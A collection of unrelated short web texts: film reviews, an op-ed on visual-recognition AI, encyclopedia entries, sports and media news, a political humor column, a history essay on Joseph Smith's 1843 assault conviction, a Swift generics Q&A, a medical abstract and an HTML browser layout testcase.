Congressman Young's legal team has been notified that after full cooperation from the Congressman, the Public Integrity Section of the Department of Justice has concluded their investigation and declined prosecution of Congressman Young. |
Entertainment Reviews:
New York Times - 10/22/2004
"[O]ne of the few movies to scale the barrier between chilly fantasy and authentic cinematic nightmare. The actor backs up his stunt with a performance that builds to a pinnacle of savage fury and desperation."
Sight and Sound - 03/01/2005
"Bale's performance has the emotional weight to substantiate this body-art spectacle..."
Uncut - 04/01/2005
"Not since MEMENTO has there been such an engrossingly murky enigma of a film....This is a terrific pulp puzzler..."
Uncut - 01/01/2006Ranked #23 in Uncut's Best Films Of 2005 -- "[E]choes of Dostoevsky, JACOB'S LADDER and MEMENTO only compound the forbidding atmosphere."
Product Description:
Christian Bale delivers one of cinema's most sacrificial performances in Brad Anderson's mesmerizing thriller. Written by Scott Kosar (2003's THE TEXAS CHAINSAW MASSACRE), THE MACHINIST takes place in a bleak and nondescript American city, where Trevor Reznick (Bale) is quite literally withering away to nothing. During the day Trevor works in a colorless industrial factory, while at night he seeks refuge in the bed of a tender prostitute, Stevie (Jennifer Jason Leigh). For reasons unknown even to Trevor, he hasn't been able to sleep for an entire year. In the process, he has shed over sixty pounds, making him look like a walking skeleton. After an accident at the factory costs Trevor his job, he finds himself tracking a mysterious figure that may or may not, in fact, provide some answers to his confusion. Meanwhile, he begins to connect with a pretty airport waitress, Marie (Aitana Sanchez-Gijon), who shows Trevor some much-needed sympathy. By the time the film builds to its revelatory conclusion, it becomes quite clear just what has been tormenting Trevor all along.
Anderson and Kosar's vision is brought to spectacular life by cinematographer Xavi Gimenez and composer Roque Banos, whose haunting atmospherics recall the best work of Alfred Hitchcock. And then, of course, there is Bale, whose performance is as terrifying, brave, and devastating as the screen has ever seen. |
It may seem like humanity has been taking a lot of hits from artificial intelligence lately — from the AI that recently defeated world champion Lee Sedol in the game of Go, to the AI that consistently beats us on "Jeopardy," to the AI that is currently out-trumping Donald Trump on Twitter.
Artificial intelligence can help make humanity better, not just by winning games or driving cars, but also by addressing some of the not-so-great aspects of human nature.
But it’s not all doom and gloom for humanity. In fact, building smarter AI means we’re getting smarter ourselves. Take Fan Hui, the European champion who lost five matches of Go earlier this year to the same AI Lee Sedol played against last month. When Fan Hui first played the AlphaGo AI, he was ranked 633rd in the world. Now he is ranked in the 300s. Studying the AI’s game inspired Fan Hui to change his game, and ultimately made him a better player. Extend that to the real world and you’ll recognize the potential for AI to teach us to be better drivers, better teachers, better writers and overall better people.
Today, AI is pervasive in many of our daily routines, from shopping online to driving cars to organizing our photos. AI is not only more efficient, but often tackles problems in new and interesting ways that differ from the established norms that human experts have developed.
As AI continues to get even smarter, we’ll see computer "intuition" helping with even more real-world problems — problems that we, as humans, have a tough time solving precisely because we’re human. Here are a few big issues we’re starting to address right now in the budding field of visual-recognition AI:
Racism, sexism and discrimination
Diversity in tech has been a big issue these days, with studies showing that the job market and workplace have a cultural bias against females and minorities. To combat an enormous social problem, we first have to document and understand how and when discrimination occurs, and raise awareness about the issue.
Some social media companies are using visual-recognition AI to do just that. A social network for young professionals automatically analyzes user-uploaded photos to see if there is a correlation between traits that aren’t listed in users’ text profiles (e.g., skin color, gender, weight, etc.) and the number of recruiters who pass over them. By understanding and proving these linkages, the company is able to help raise awareness and consciously combat these subconscious biases.
Online harassment
The Internet is not a civilized place. It is a place where trolls roam free, hiding behind relative anonymity and the safety of impersonal interactions to justify online harassment, threats and general bad behavior. And until online trolls and bullies reform, it’s up to AI to help make the Internet a safer space for both free speech and human beings.
A popular dating app on the market uses AI technology to filter out nudity and potentially offensive images from its users’ photos. Say goodbye to unsolicited dick pics, ladies! The neat thing about AI is you don’t have to tell it what’s "offensive" — the algorithm learns from examples and makes determinations based on feedback from users. So if enough women flag men wearing fedoras as offensive, the AI learns to recognize that concept in the future.
Black market
With the black-market size estimated at trillions of dollars a year, and the fact that it’s easier to buy a gun than a book in some places, the subject of how we keep society safe has been top of mind lately.
It will take thoughtful and ethical humans to create computer understanding that can elevate the rest of humanity.
For marketplaces on the internet, AI is playing a large role in moderating what users put up for sale — whether it’s guns, drugs, live exotic animals or other illegal items. Several online auction sites use AI to identify when users upload photos of contraband, and prevent them from making a listing. This filtering has a huge impact, because people tend to upload pictures of the real items, but list inaccurate and innocuous text descriptions like "vase of flowers" to avoid traditional text-moderation filters.
These examples are proof that AI can help make humanity better, not just by winning games or driving cars, but also by addressing some of the not-so-great aspects of human nature. But what people often forget is that AI is only able to operate in response to instructions and examples provided by humans, at least for now. So it will take thoughtful and ethical humans to create computer understanding that can elevate the rest of humanity. The choice is ours to make between planting the seeds of the robot apocalypse or the robot renaissance.
Matthew Zeiler is the founder and CEO of Clarifai, an artificial intelligence company that excels in visual recognition, solving real-world problems for businesses and developers alike. Matthew received a PhD in machine learning and image recognition with the pioneers of deep learning and convolutional neural networks. Reach him @mattzeiler. |
Osceola County, Iowa
Osceola County is a county located in the U.S. state of Iowa. As of the 2010 census, the population was 6,462. It is named for Seminole war chief Osceola. The county seat is Sibley, named for H. H. Sibley of Minnesota.
History
Osceola County was formed in 1871. It was named after the eponymous chief of the Seminole. It is the smallest and most recent county in Iowa. In the same year the first settler arrived, Captain Eldred Huff, and laid his claim. On January 1, 1872, the county government conferred for the first time. The first courthouse, constructed of wood, was built in November of the following year and simultaneously served as the conference chamber, school and church. In September 1903, the second courthouse was finished and was wired for electricity in October, 1915.
Geography
According to the U.S. Census Bureau, the county has a total area of , of which is land and (0.2%) is water. It is the third-smallest county in Iowa by land area and smallest by total area. The highest natural point in Iowa, Hawkeye Point at 1,670 feet (509 m), is located in Osceola County.
Major highways
U.S. Highway 59
Iowa Highway 9
Iowa Highway 60
Adjacent counties
Nobles County, Minnesota (northwest)
Jackson County, Minnesota (northeast)
Dickinson County (east)
O'Brien County (south)
Lyon County (west)
Demographics
2010 census
The 2010 census recorded a population of 6,462 in the county, with a population density of . There were 2,990 housing units, of which 2,682 were occupied.
2000 census
As of the census of 2000, there were 7,003 people, 2,778 households, and 1,941 families residing in the county. The population density was 18 people per square mile (7/km²). There were 3,012 housing units at an average density of 8 per square mile (3/km²). The racial makeup of the county was 98.04% White, 0.11% Black or African American, 0.26% Native American, 0.20% Asian, 0.01% Pacific Islander, 0.84% from other races, and 0.53% from two or more races. 1.78% of the population were Hispanic or Latino of any race.
There were 2,778 households out of which 31.70% had children under the age of 18 living with them, 62.00% were married couples living together, 5.10% had a female householder with no husband present, and 30.10% were non-families. 27.60% of all households were made up of individuals and 15.10% had someone living alone who was 65 years of age or older. The average household size was 2.48 and the average family size was 3.03.
In the county, the population was spread out with 26.10% under the age of 18, 7.20% from 18 to 24, 26.20% from 25 to 44, 21.60% from 45 to 64, and 18.90% who were 65 years of age or older. The median age was 40 years. For every 100 females there were 95.00 males. For every 100 females age 18 and over, there were 94.30 males.
The median income for a household in the county was $34,274, and the median income for a family was $41,977. Males had a median income of $29,624 versus $20,522 for females. The per capita income for the county was $16,463. About 6.00% of families and 7.00% of the population were below the poverty line, including 7.90% of those under age 18 and 9.80% of those age 65 or over.
Communities
Cities
Ashton
Harris
Melvin
Ocheyedan
Sibley
Townships
Allison
Baker
East Holman
Fairview
Gilman
Goewey
Harrison
Horton
Ocheyedan
Viola
West Holman
Wilson
Unincorporated communities
Allendorf
Cloverdale
May City
Population ranking
The population ranking of the following table is based on the 2010 census of Osceola County.
† county seat
Politics
See also
Osceola County Courthouse
National Register of Historic Places listings in Osceola County, Iowa
References
External links
Official Osceola County website
Osceola County Economic Development
Category:1871 establishments in Iowa
Category:Populated places established in 1871 |
Childs Way Charter School
Childs Way Charter School is a charter school in Culp Creek, Oregon, United States.
Academics
In 2008, all three of the school's seniors received a high school diploma.
In 2009, the school received a bronze medal in the U.S. News & World Reports "Best High Schools" ranking.
References
Category:High schools in Lane County, Oregon
Category:Public middle schools in Oregon
Category:Charter schools in Oregon
Category:Public high schools in Oregon |
Fox Mole Reveals Which Character in The Newsroom Most Resembles Roger Ailes
Former Fox Mole Joe Muto reappeared on Slate last week, writing about the verisimilitude of Aaron Sorkin’s new HBO Series, The Newsroom.
“I spent almost eight years working in cable news before I decided earlier this year to exit the industry in a quiet, dignified fashion, so naturally the show piqued my curiosity,” he wrote. “Sorkin deserves credit for nailing a lot of the details of the milieu. But given how many of the little things he gets right, it’s surprising that he gets a few of the big ones so wrong.
One thing Mr. Sorkin gets right, according to Mr. Muto, is the “old guard news honcho,” who likes to talk about how journalism worked “back-in-my-day.” In the show, it’s the bow-tied news division president, Charlie, played by Sam Waterston. At Fox News, that role is played by none other than president Roger Ailes.
“Fox News president Roger Ailes is known for regaling staff with stories about his TV past during speeches at company functions. I personally heard at least three retellings of the time he worked for The Mike Douglas Show and had to set up a functioning bowling alley in the studio with less than 24-hours notice.”
According to Poynter, Mr. Muto is no longer working for Gawker, although the company will continue to support him legally in the criminal investigation over information he leaked to Gawker. |
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|
Thomas McNamara ’13 and the Bears went 1-1 at the South Carolina tournament.
The men’s soccer team had a weekend of highs and lows down south, defeating the University of South Carolina 2-0 in a thrilling night game before falling to the University of Kentucky 5-1.
Brown 2, South Carolina 0
The Bears kicked off the Gamecock Classic Friday night with a matchup against host school South Carolina. The Gamecocks (2-4-1) boast a reputation for hosting a rowdy home crowd, and the game had a restless feel as South Carolina sought to avenge their 1-0 loss last season to the Bears at Stevenson Field.
“The night games are always exciting,” said Ryan McDuff ’13. “There’s a huge crowd energy, and the environment is great.”
But the Bears gave South Carolina fans little opportunity to cheer as first-year goalie Alex Carr ’15 earned his second shutout of the season with three saves on the night.
T.J. Popolizio ’12 scored both of Bruno’s goals, the first in the 25th minute and the second just two minutes into the second half. Popolizio currently leads the team in goals and has scored six times in the last five games, with three goals this weekend. He was named Ivy League Player of the Week for his recent goal streak.
“He has always been a hard worker,” McDuff said of Popolizio. “He’s a two-sport athlete, which says a lot about his commitment and his effort. He’s had amazing growth since last year. He went from being a spark plug off the bench and has transitioned to playing every game.”
Brown 1, Kentucky 5
The Bears concluded their weekend with a match-up against Kentucky (6-2-1) Sunday morning. Despite being held on the same field, the game had a distinctly different feel from Friday night.
“It’s a totally different atmosphere and experience playing a night game against the host of the tournament and playing at 11 a.m. on a Sunday,” said Head Coach Patrick Laughlin. “Friday night, we were mentally and physically prepared and focused on the game, and our performance showed that. On Sunday, none of those qualities were there for us. Kentucky just outcompeted us.”
The Wildcats dictated the tempo from the start, jumping out to a 2-0 lead by the 26th minute. Bruno was able to respond with a goal from Popolizio in the 77th minute, narrowing the deficit to one. But shortly after, “the wheels fell off,” McDuff said. Kentucky piled on three goals in the final 11 minutes of the game to run away with the victory.
The Wildcats allowed Bruno to make unforced errors because they applied less pressure on the Bears.
“They laid back, and that wasn’t something we’ve dealt with before,” he said. “A lot of teams typically like to press us. These guys let us keep possession of the ball, and we didn’t move the ball as efficiently as we should have.”
The Bears will look to bounce back from the disappointing loss when they take on Boston University in front of a home crowd Friday at 7 p.m. |
Hart: Gowdy Duty, Mr. President, you might have to tell the truth
By Ron Hart
Published: Sunday, May 18, 2014 at 05:01 PM.
Just when you wonder what Congress is not going to do next, Speaker of the House John Boehner musters up enough courage to try to get the facts on the White House’s role in covering up the Benghazi attack before Obama’s election. Obama and his O-bots continue to withhold documents, obfuscating the investigation.
To date, they have only sent in – on the “honor” system – a few heavily redacted documents. It took a Freedom of Information request by Judicial Watch and a court decision to unearth recent meaningful evidence. Alert to the White House spokeskids: “Dudes, it’s a subpoena!” Democrats, who are in a perpetual state of being offended, responded as expected. Xavier Becerra, D-CA, fretted, “The amount of money they can spend is undefined and can be unlimited.” This marks the first time a Democrat cared how much Washington spent on anything. Congressman Trey Gowdy will lead the inquiry. He is excited and will have lots of questions: What did the president know and when did he know it? Why did the White House push the YouTube video as the reason for the attack before the presidential election? Why must I go back to my small town in South Carolina to get my hair frosted and my tips feathered? Why can’t I find a barber in D.C. who knows how to cut a man’s hair right? Suggestions to Congressman Gowdy: 1. Don’t focus on the terrorist attack. We were sitting ducks. 2. Focus on the White House cover-up. 3. Subpoena everyone involved in pushing the lie about the video, not only their official e-mails but the fake ones they really used to communicate (like EPA director Jackson had). 4. Roads will lead back to Obama’s political henchmen in Chicago, David Axelrod and the like. Be sure to question them. In what ways is Benghazi like, but arguably far worse, than the Watergate scandal? First, four Americans died there. Second, Obama’s team manufactured a lie about the reason to protect him before the election. Third, a hapless filmmaker is still in jail over the video. In Watergate, there was a low level break-in at the DNC campaign headquarters. It was proven that Nixon knew nothing about the break-in but that he sought to cover it up afterwards. In this way, Watergate is no different from what we already know about Benghazi. Susan Rice, a veteran Democrat operative, worked for Bill Clinton. Those were fun times in the Clinton White House; a “closed door session” was actually interesting. Instead of Hillary (who said she was “sick”), Rice appeared on the talk shows the Sunday after Benghazi and knowingly lied about the video being the reason for the attack on our consulate. The White House cooked up this lie. As any good chef knows, Rice will go with anything. And to be willing to concoct a story blaming the 13-minute YouTube video, Obama had to know the press had his back. As Hillary learned during her time in the White House, you act like you believe the president’s lies if they help you – or until the DNA tests on the blue dress come back from the lab. In my time, it has always been a lie that’s led us into unnecessary wars. The purported Gulf of Tonkin incident ushered us into Vietnam, false intelligence reports of weapons of mass destruction into the invasion of Iraq, and the notion that Afghanistan was the reason for 9/11 pushed us into invading. These wars cost us more than a trillion dollars, almost 65,000 deaths and more than 40,000 injured – and counting: an expensive social studies lessons. We must set a standard of honesty in government. If our leaders feel they can lie to and manipulate us, we will have further wars and problems in the future. Not since Nixon has an administration displayed such arrogant disregard for the truth and the willingness to play dirty tricks on its opponents in order to remain in power. Once we get the facts, I agree with Dana Perino: Let the brightest minds of the right, like Stephen Hayes, debate whoever the left feels can argue this. Just a preview: Republicans blame Benghazi on a lapdog Obama press. Obama blames Benghazi on Fox News. Ron Hart, a libertarian syndicated op-ed humorist, award-winning author and TV/radio commentator can be reached at Ron@RonaldHart.com or visit www.RonaldHart.com.
Reader comments posted to this article may be published in our print edition. All rights reserved. This copyrighted material may not be re-published
without permission. Links are encouraged.
Just when you wonder what Congress is not going to do next, Speaker of the House John Boehner musters up enough courage to try to get the facts on the White House’s role in covering up the Benghazi attack before Obama’s election. Obama and his O-bots continue to withhold documents, obfuscating the investigation.
To date, they have only sent in – on the “honor” system – a few heavily redacted documents. It took a Freedom of Information request by Judicial Watch and a court decision to unearth recent meaningful evidence.
Alert to the White House spokeskids: “Dudes, it’s a subpoena!”
Democrats, who are in a perpetual state of being offended, responded as expected. Xavier Becerra, D-CA, fretted, “The amount of money they can spend is undefined and can be unlimited.” This marks the first time a Democrat cared how much Washington spent on anything.
Congressman Trey Gowdy will lead the inquiry. He is excited and will have lots of questions: What did the president know and when did he know it? Why did the White House push the YouTube video as the reason for the attack before the presidential election? Why must I go back to my small town in South Carolina to get my hair frosted and my tips feathered? Why can’t I find a barber in D.C. who knows how to cut a man’s hair right?
Suggestions to Congressman Gowdy: 1. Don’t focus on the terrorist attack. We were sitting ducks. 2. Focus on the White House cover-up. 3. Subpoena everyone involved in pushing the lie about the video, not only their official e-mails but the fake ones they really used to communicate (like EPA director Jackson had). 4. Roads will lead back to Obama’s political henchmen in Chicago, David Axelrod and the like. Be sure to question them.
In what ways is Benghazi like, but arguably far worse, than the Watergate scandal? First, four Americans died there. Second, Obama’s team manufactured a lie about the reason to protect him before the election. Third, a hapless filmmaker is still in jail over the video.
In Watergate, there was a low level break-in at the DNC campaign headquarters. It was proven that Nixon knew nothing about the break-in but that he sought to cover it up afterwards. In this way, Watergate is no different from what we already know about Benghazi.
Susan Rice, a veteran Democrat operative, worked for Bill Clinton. Those were fun times in the Clinton White House; a “closed door session” was actually interesting.
Instead of Hillary (who said she was “sick”), Rice appeared on the talk shows the Sunday after Benghazi and knowingly lied about the video being the reason for the attack on our consulate. The White House cooked up this lie. As any good chef knows, Rice will go with anything. And to be willing to concoct a story blaming the 13-minute YouTube video, Obama had to know the press had his back.
As Hillary learned during her time in the White House, you act like you believe the president’s lies if they help you – or until the DNA tests on the blue dress come back from the lab.
In my time, it has always been a lie that’s led us into unnecessary wars. The purported Gulf of Tonkin incident ushered us into Vietnam, false intelligence reports of weapons of mass destruction into the invasion of Iraq, and the notion that Afghanistan was the reason for 9/11 pushed us into invading. These wars cost us more than a trillion dollars, almost 65,000 deaths and more than 40,000 injured – and counting: an expensive social studies lessons.
We must set a standard of honesty in government. If our leaders feel they can lie to and manipulate us, we will have further wars and problems in the future. Not since Nixon has an administration displayed such arrogant disregard for the truth and the willingness to play dirty tricks on its opponents in order to remain in power.
Once we get the facts, I agree with Dana Perino: Let the brightest minds of the right, like Stephen Hayes, debate whoever the left feels can argue this.
Just a preview: Republicans blame Benghazi on a lapdog Obama press. Obama blames Benghazi on Fox News.
Ron Hart, a libertarian syndicated op-ed humorist, award-winning author and TV/radio commentator can be reached at Ron@RonaldHart.com or visit www.RonaldHart.com. |
For decades historians, apologists, and anti-Mormons have been debating this very question: was Joseph Smith ever convicted of a crime? While there have been discussions on this topic since the beginnings of Mormonism, the debate really got started in the 1970s. Learning of newly discovered evidence of Joseph Smith’s trial for being a disorderly person, Mormon Historian Marvin Hill published in BYU Studies Joseph Smith and the 1826 Trial: New Evidence and New Difficulties.[1] Two years later Wesley P. Walters published an article entitled, Joseph Smith’s Bainbridge, N.Y., Court Trial,[2] which argued he had been convicted of a crime. Walters was responded too by Mormon Historian Gordon Madsen, again in a BYU Studies article, Joseph Smith’s 1826 Trial: The Legal Setting.[3]
In the following decades, this question has been discussed over and over. Many cases have been debated, but the most common are the 1826 disorderly person trial in New York, assault and battery in Ohio, performing marriages without a license in Ohio, attempted murder in Ohio, fraud due to the Kirtland Banking Society in Kirtland, and being an accessory to the attempted assassination of Lilburn Boggs in Missouri. In some of these cases it is clear that Joseph Smith was not convicted of a crime and in others there is evidence for both sides of the argument. Thus, questions still remain.
However, some Mormon historians incorrectly claim, and have for years, that Joseph Smith has never been convicted of a crime. Much of this incorrect belief starts with Brigham Young. On July 11, 1852 Brigham Young stated in a speech at the Salt Lake Tabernacle
I know for myself that Joseph Smith was the subject of forty-eight law-suits, and the most of them I witnessed with my own eyes; but not one action could ever be made to bear against him. No law or constitutional right did he ever violate. He was innocent and virtuous; he kept the law of his country, and lived above it; out of forty-eight law suits, (and I was with him in the most of them), not one charge could be substantiated against him.[4]
FAIRMORMON, the Foundation for Apologetic Information & Research, who describe themselves as an organization that provides “well-documented answers to criticisms of LDS doctrine, belief and practice,” also claim that Joseph Smith was never convicted of a crime. Their website hosts a speech given at a FAIR conference by Joseph Bentley, a lawyer who worked on the Joseph Smith Paper Legal volumes. In this speech Bentley states
“Joseph Smith was persecuted in courts of law as much as anyone I know. But he was never found guilty of any crime, and his name cannot be tarnished in that way.”[5]
Recently, BYU Studies published a book, Sustaining the Law: Joseph Smith’s Legal Encounters, which discuss Joseph Smith’s interaction with the law. It discusses such topics as his reputation as a witness in New York, his 1826 trial for being a disorderly person, the copyright of the Book of Mormon, marriages in Kirtland and Nauvoo, the Kirtland Safety Society, the Nauvoo Charter, Habeas Corpus, and the Nauvoo Expositor. In this volume the editors claim
he was never convicted of any criminal offense. Whenever he was given a fair hearing, he was found to be an upstanding and honest citizen.[6]
However, this is incorrect. We need not get into the common debates about Joseph Smith’s 1826 trial or if the Kirtland Banking Society was legal or the other cases that have been debated for decades. This is because Smith was convicted of assault on August 1, 1843. This assault case is so clear, from records of the time, that there really is no debate. For whatever reason, this case has basically been ignored. On August 1, 1843, Joseph Smith assaulted Hancock County tax collector Walter Bagby. Joseph Smith, while riding in a buggy came across Bagby. They had a disagreement and Bagby called Smith a liar. Smith, enraged got out of his buggy and when Bagby saw this, he ran to pick up a rock to presumably defend himself. Before he could pick up the rock Smith either struck him multiple times, attempted to strike him, or choked him. William Clayton, one of Joseph Smith’s scribes was present and recorded what happened
P.M. went to Temple at 4 o clock J and Backenstos came up to the Temple. J began to tell me concerning a tax title which Hamilton had on me of the city lots he having got a Sheriffs Deed. J. told me to inquire of Bagby concerning it. While we were talking Bagby came up & J asked him concerning it. he denied all knowledge of it. J. told him that he had always been ready to pay all taxes when called upon & he did not think it good behavior to sell his lots when he was willing to pay the taxes whenever called upon. Bagby said he had done more for J. than for any other man in the County. J. reiterated that he had abused the citizens here and was always doing so. Bagby then told him he was a liar at which J. got out of his Buggy. When Bagby saw him get out he ran to pick up a stone to through at which J. was so enraged that he followed him & struck him two or three times. Esqr. Wells stepped between them & succeeded in getting them apart and J. told him to assess the fine and he was willing to pay it. J. rode down to Whitneys & got the fine assessed & then returned to the political meeting. Bagby staid a while muttering that J. was a coward &c.[7]
The Illinois criminal statutes defined assault as “an unlawful attempt, coupled with a present ability to commit a violent injury on the person of another,” and defined assault and battery as “the unlawful beating of another.”[8] The Illinois statutes were in effect at the time as Nauvoo had not passed their own assault and battery statutes.
This event was also recorded, in part, in Joseph Smith’s own journal. Recorded twelve days later on Sunday August 13, 1843, it states
Mr. [Walter] Bagby. of Cartharge [Carthage]. who has exercised more despotic power over the inhibtants [inhabitants] of this city & than any despot of the Eastern country. I met. he gave me some abusive language took up a stone to throw at me I siezd him by the throat to choke him off—[9]
On the same date in his own personal journal, William Clayton also recorded that Smith referred to the incident as a “little skirmish.”[10]
The History of the Church recounts the incident in nearly the same manner, “Bagby called me a liar, and picked up a stone to throw at me, which so enraged me that I followed him a few steps, and struck him two or three times. Esquire Daniel H. Wells stepped between us and succeeded in separating us…. I rode down to Alderman Whitney . . . he imposed a fine which I paid.” In this version, following the later recorded version by Smith, Bagby had already picked up the stone. Also in this version, is Smith admitting guilt and paying a fine.
Oddly, in the newer volume Sustaining the Law, where the editors emphatically claim Smith “was never convicted of any criminal offense,” contains a summary of this event. In the volume’s own “Legal Chronology of Joseph Smith” it reads
JS, insulted by Hancock Co. tax collector Walter Bagbee, struck him, knocking him to the ground. JS asked Daniel H. Wells to allow him to plead guilty to Assult and Battery and pay a fine. Wells refused, saying in his opinion the blow was justified. JS went to Justice of the Peace Aaron Johnson, who took the plea and JS paid the fine.
While the volume got the facts of this case incorrect, particularly who took Smith’s guilty plea and Wells involvement in the incident, it does admit Smith committed a crime.
It was Alderman Newel K. Whitney, a justice of the peace in Nauvoo, that Smith admitted guilt. Jacob B. Backenstos, a friend to the Mormons and later sheriff of Hancock County witnessed the events and provided Whitney an affidavit of what he saw. His affidavit reads:
State of Illinois }
Hancock County } I Jacob B. Backenstos
being first duly sworn deposeth and
says that on the first day of August
A.D. 1843 at the County of Hancock &
state aforesaid one Joseph Smith
committed an assault on the body
of one Walter Bagby by striking at
him the said Bagby on the day
above named and in the County
state aforesaid and further this
deponent saith not
J.B. Backenstos Subscribed and Sworn
To before me an acting
Alderman of the City of Nauvoo N.K. Whitney Alderman[11]
Regardless, under either version of the events, Smith was convicted of a crime. He was convicted by his own words when he pled guilty before the Justice of the Peace. Once one has committed to a guilty plea, a judgment of conviction is entered and a sentence is imposed. In this case, the sentence was a fine, which Smith paid. Anyone would be hard pressed to claim that he was not given a fair hearing, as Joseph Smith the sole witness, pled guilty before a friendly Justice of the Peace in the city in which he was the Mayor. Sadly, apologists and historians could have used this as an example of Smith showing maturity by taking responsibility for a mistake he made. Instead, the mythology of a near perfect being is still being argued by many.
Joseph Smith is human and was convicted of a crime. It is time for everyone to drop the claim he never was convicted and treat him as he truly was, a complex man who made mistakes, and in this case, took responsibility for them.
[1] Hill, Marvin S. “Joseph Smith and the 1826 Trial: New Evidence and New Difficulties.” Brigham Young University Studies 12.2 (1972): 223-233.
[2] Wesley P. Walters, “Joseph Smith’s Bainbridge, N. Y., Court Trials,” Westminster Theological Journal, 36:2 (Winter, 1974): 123-155
[3] Madsen, Gordon A. “Joseph Smith’s 1826 Trial: The Legal Setting.” Brigham Young University Studies 30.2 (1990): 91-108.
[4] The Complete Discourses of Brigham Young, Edited by Richard S. Van Wagoner (Salt Lake City, Utah: The Smith-Pettit Foundation, 2009), pg 541
[5] http://www.fairmormon.org/perspectives/fair-conferences/2006-fair-conference/2006-legal-trials-of-the-prophet-joseph-smiths-life-in-court
[6] Sustaining the Law: Joseph Smith’s Legal Encounters, Edited by Gordon A. Madsen, Jeffery N. Walker, and John W. Welch (Provo, UT: BYU Studies, 2014).
[7] The Nauvoo Diaries of William Clayton, 1842-1846, Abridged (Salt Lake City: Privately Published, 2010) August 1, 1843, 25-26
[8] Illinois criminal code (1833) sec 51 & 53.
[9] Andrew H. Hedges, Alex D. Smith, Brent M. Rodgers, ed., The Joseph Smith Papers, Journals, Volume 3, May 1843-June 1844, (Salt Lake City: The Church Historian’s Press, 2015), 78.
[10] The Nauvoo Diaries of William Clayton, 27. The relevant portion reads, “P.M. Prest J. offered some complaints of the citizens of Nauvoo 1st because some young men sat on the ladies camp ground and laughed & mocked during meeting. He next spake of Walter Bagby & the little skirmish he had with him about a week ago he spoke of Esq Wells interfering when he had no business.
[11] MS 9670 Helen B. Fleming collection, Folder 14, Jacob B. Backenstos, deposition, 1 Aug. 1843 |
1973 NAIA Men's Basketball Tournament
The 1973 NAIA Men's Basketball Tournament was held in March at Municipal Auditorium in Kansas City, Missouri. The 36th annual NAIA basketball tournament featured 32 teams playing in a single-elimination format. Valdosta State ended (3) Kentucky State's run to get 4 championship in a row by upsetting (3) Kentucky State in the first round by 9.
Awards and honors
Leading scorer:
Leading rebounder:
Player of the Year: est. 1994
1973 NAIA bracket
3rd place game
The third place game featured the losing teams from the national semifinalist to determine 3rd and 4th places in the tournament. This game was played until 1988.
References
Category:NAIA Men's Basketball Championship
Tournament |
Q:
Unexpected compiler error when attempting to use generic type in closure
Given a protocol without any funk whatsoever:
protocol NonFunkyProtocol {}
And a protocol with some serious funk going on:
protocol FunkyProtocol {
func funky<T: NonFunkyProtocol>(_ closure: (T) -> Void)
}
Then given this struct:
struct WeeStruct: FunkyProtocol {
let weeProp: NonFunkyProtocol
func funky<T>(_ closure: (T) -> Void) where T: NonFunkyProtocol {
closure(weeProp)
}
}
I would expect this to compile as the type of the parameter expected in closure is T where T conforms to NonFunkyProtocol, and weeProp is of type NonFunkyProtocol.
Instead I'm seeing this error:
I've more than likely a hole somewhere in my generics knowledge, where am I going wrong?
A:
The problem is that T in this case is "some type that conforms to NonFunkyProtocol". weeProp is also "something that conforms to NonFunkyProtocol" but there's nothing that says that weeProp is of type T.
Consider the following case:
extension Int: NonFunkyProtocol {}
extension String: NonFunkyProtocol {}
Both Int and String conform.
Now I construct a WeeStruct with a String:
let wee = WeeStruct(weeProp: "")
And I call funky with a function that requires an Int (since Int a conforming type, it can be T):
wee.funky { (int: Int) -> Void in print(int + 1) }
So this would pass "" to the closure. How can that work?
So you either need to require the closure handle any NonFunkyProtocol (I strongly suspect this is what you mean):
func funky(_ closure: (NonFunkyProtocol) -> Void)
Or you need to nail down weeProp to T by making T an associatedtype:
protocol FunkyProtocol {
associatedtype T: NonFunkyProtocol
func funky(_ closure: (T) -> Void)
}
struct WeeStruct<T:NonFunkyProtocol>: FunkyProtocol {
let weeProp: T
func funky(_ closure: (T) -> Void) {
closure(weeProp)
}
}
I would be very careful before adding an associatedtype, though. That completely changes the nature of FunkyProtocol.
If FunkyProtocol really is just this one requirement, you should also ask what it's solving versus just a function. Why pass around WeeStruct with all its protocol baggage, when you could just use the wee.funky function directly? Are there protocol extension on FunkyProtocol? If you can't write generic algorithms against FunkyProtocol, it probably should't be a protocol.
|
Purtscher-like retinopathy after prostate surgery.
To describe a case of Purtscher-like retinopathy after uncomplicated radical prostatectomy. Observational case report. Purtscher retinopathy is named after the Austrian ophthalmologist Othmar Purtscher (1852-1927) who first fully described the syndrome of "traumatic retinal angiopathy" in 1912 as patches of retinal whitening, retinal hemorrhages, and disk edema after compression injury to the head. Since that time, similar findings, often called Purtscher-like retinopathy, have been described in association with a number of conditions, including, among others, acute pancreatitis, chest compression injury, childbirth, and fat embolism syndrome, after long-bone fracture or surgery. The occurrence of Purtscher-like changes after nonorthopedic surgery seems, however, to be rare. The authors describe a single case of Purtscher-like retinopathy after uncomplicated radical prostatectomy. |
<!DOCTYPE HTML>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Testcase for bug 427370</title>
<style type="text/css">
html,body {
color:black; background-color: white; font-size:16px; padding:0; margin:0;
}
body {
margin:10px;
}
ol,li{margin:0!important;padding:0!important}
ol { margin-top:1em!important; }
.rtl li {margin-right:40px!important;}
.ltr li {margin-left:40px!important;}
DEBUG_li {
outline:1px dashed red;
border:3px dashed blue;
}
.inside li {
list-style-position:inside;
}
.rtl label {
float:right;
}
.ltr label {
float:left;
}
label {
width:100px;
height:1em;
background:pink;
}
.rtl {
direction:rtl;
}
.ltr {
direction:ltr;
}
.C {
padding:0 0.2em 0 0.2em;
}
</style>
</head>
<body>
<div style="position:absolute;top:0;left: 50px;bottom:0;width:1px;background:lime;opacity:0.5"></div>
<div style="position:absolute;top:0;right:50px;bottom:0;width:1px;background:lime;opacity:0.5"></div>
<div class="ltr">
<ol>
<li><div style="overflow:hidden;">
<label></label>
Outside
</div></li>
<li><div style="overflow:hidden;">
<div></div><div><span class="C">C</span></div>
</div></li>
</ol>
</div>
<div class="rtl">
<ol>
<li><div style="overflow:hidden;">
<label></label>
Outside
</div></li>
<li><div style="overflow:hidden;">
<div></div><div><span class="C">C</span></div>
</div></li>
</ol>
</div>
<br style="clear:both;">
<div style="float:left; width:100px; height:5em; border:1px solid black"></div>
<div class="ltr">
<ol>
<li><div style="overflow:hidden;">
<label></label>
Outside
</div></li>
<li><div style="overflow:hidden;">
<div></div><div><span class="C">C</span></div>
</div></li>
</ol>
</div>
<br style="clear:both;">
<div style="float:right; width:100px; height:5em; border:1px solid black"></div>
<div class="rtl">
<ol>
<li><div style="overflow:hidden;">
<label></label>
Outside
</div></li>
<li><div style="overflow:hidden;">
